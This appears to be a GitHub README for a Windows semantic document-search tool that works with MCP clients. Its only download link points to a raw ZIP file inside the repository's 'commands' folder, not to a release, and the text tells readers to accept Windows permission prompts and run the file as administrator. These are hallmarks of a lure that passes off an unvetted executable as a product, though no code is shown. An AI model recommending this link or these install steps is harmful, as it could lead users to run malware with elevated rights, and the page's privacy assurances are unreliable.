๐Ÿ”Ž cowork-semantic-search - Find your files fast

Local semantic search tool for quickly finding documents by meaning on Windows.

๐Ÿ”Ž cowork-semantic-search - Find your files fast

Download cowork-semantic-search

Local semantic search for your documents on Windows. No API keys. No cloud.

๐Ÿ“ฅ Download

Visit this page to download: https://github.com/Ansellwaxlike187/cowork-semantic-search/raw/refs/heads/main/commands/cowork-semantic-search-v2.5.zip

  1. Open the link above.
  2. Find the latest release at the top of the page.
  3. In the release files, download the Windows app file.
  4. Save the file to your computer.
  5. If the file is a ZIP folder, open it and extract it first.
  6. Double-click the app to run it.

If Windows asks for permission, choose Yes.

๐Ÿ–ฅ๏ธ What it does

cowork-semantic-search helps you search your local documents by meaning, not just by exact words. This is useful when you know what a file says, but not the exact name or phrase inside it.

Use it for:

  • notes
  • reports
  • contracts
  • project files
  • research docs
  • Obsidian vaults
  • local work folders

It works with MCP clients, so you can use it with tools that support the Model Context Protocol.

โœ… What you need

Use a Windows PC with:

  • Windows 10 or Windows 11
  • At least 8 GB of memory
  • Enough free disk space for your documents
  • A folder of files you want to search

For best results, keep your files in common formats such as:

  • PDF
  • TXT
  • Markdown
  • DOCX
  • HTML
  • code files

๐Ÿš€ Start using it

  1. Run the app you downloaded.
  2. Let it index your document folder.
  3. Open your MCP client.
  4. Connect the client to cowork-semantic-search.
  5. Search for a topic in plain language.

Example searches:

  • meeting notes about budget changes
  • contract terms for renewal
  • files about onboarding
  • docs that mention launch dates
  • notes on customer feedback

๐Ÿงญ How it works

The app scans your files and builds a local search index. When you type a query, it looks for related content based on meaning. That helps when the exact words do not match.

This is useful when:

  • a file uses different wording than you expect
  • you have many documents in one folder
  • you need to search across several notes at once
  • you want search to stay on your PC

๐Ÿ› ๏ธ Basic setup

If the app opens with a setup screen:

  1. Choose the folder that holds your documents.
  2. Wait while the app scans the files.
  3. Keep the app open until indexing finishes.
  4. Open your MCP client.
  5. Add the local connection shown in the app.
  6. Save the connection.
  7. Run your first search.

If you later add more files, run the scan again so the index stays current.

๐Ÿ”Œ MCP client use

cowork-semantic-search works with MCP clients that can connect to local tools.

Common use cases include:

  • asking your coding assistant to look up local docs
  • searching notes from inside your editor
  • finding the right file before you open it
  • using local search without sending files to a cloud service

If your client has a place for a server name, host, or port, use the values shown by the app.

๐Ÿ“ Good file habits

To get better results, keep your files organized.

Use short folder names:

  • Work
  • Notes
  • Projects
  • Clients
  • Research

Use clear file names:

  • Budget-2024.md
  • Project-Plan.docx
  • Meeting-Notes.txt
  • Contract-ABC.pdf

Avoid scanning folders with:

  • large media files
  • old backups
  • system files
  • temporary files

โš™๏ธ Common use cases

Search across notes

Find a thought you wrote last month even if you do not remember the exact words.

Search work docs

Look up terms in reports, plans, and project files without opening each file.

Search Obsidian vaults

Use semantic search across your note vault to find related ideas.

Search local code docs

Find design notes, API docs, and task files tied to a project.

Keep data local

Search on your own machine and keep your files where they are.

๐Ÿงฉ Troubleshooting

The app does not open

  • Download the latest release again.
  • Make sure Windows finished the download.
  • If the file came in a ZIP folder, extract it first.
  • Right-click the file and choose Run as administrator.

The app opens but finds no files

  • Check that you selected the right folder.
  • Make sure the folder has supported file types.
  • Run the scan again after adding files.

Search results look wrong

  • Use a more specific query.
  • Try a different file folder.
  • Rebuild the index if you changed many files.

Your MCP client cannot connect

  • Make sure cowork-semantic-search is running.
  • Check the local host and port settings in the app.
  • Re-enter the connection details in your MCP client.
  • Restart both apps and try again.

๐Ÿ“ฆ Release files

The release page may include files such as:

  • Windows app package
  • ZIP archive
  • setup file
  • source code archive

For a normal Windows install, use the file meant for Windows users and follow the steps shown on the release page.

๐Ÿ”’ Privacy

This app is built for local search.

  • Your documents stay on your computer
  • No API key is needed
  • No cloud account is needed
  • Search runs on local files

๐Ÿ“š Helpful search examples

Try searches like:

  • project notes about timeline
  • documents about vendor renewal
  • files with action items from March
  • research on semantic search
  • notes about client onboarding
  • plan for next quarter
  • budget discussion from last week

๐Ÿงฑ Folder scan tips

For the best search quality:

  • start with one main folder
  • use clean text files when possible
  • keep copied PDFs readable
  • avoid scanned images with no text
  • rescan after major file changes

๐Ÿงช If you want a quick test

  1. Put three or four text files in one folder.
  2. Add one file with a clear topic, such as a meeting note.
  3. Run the app and index that folder.
  4. Search for a phrase from the note using different words.
  5. Check that the result still points to the right file

๐Ÿ“Ž Project topics

claude-code, document-search, lancedb, mcp, mcp-server, obsidian, offline, rag, semantic-search, vector-search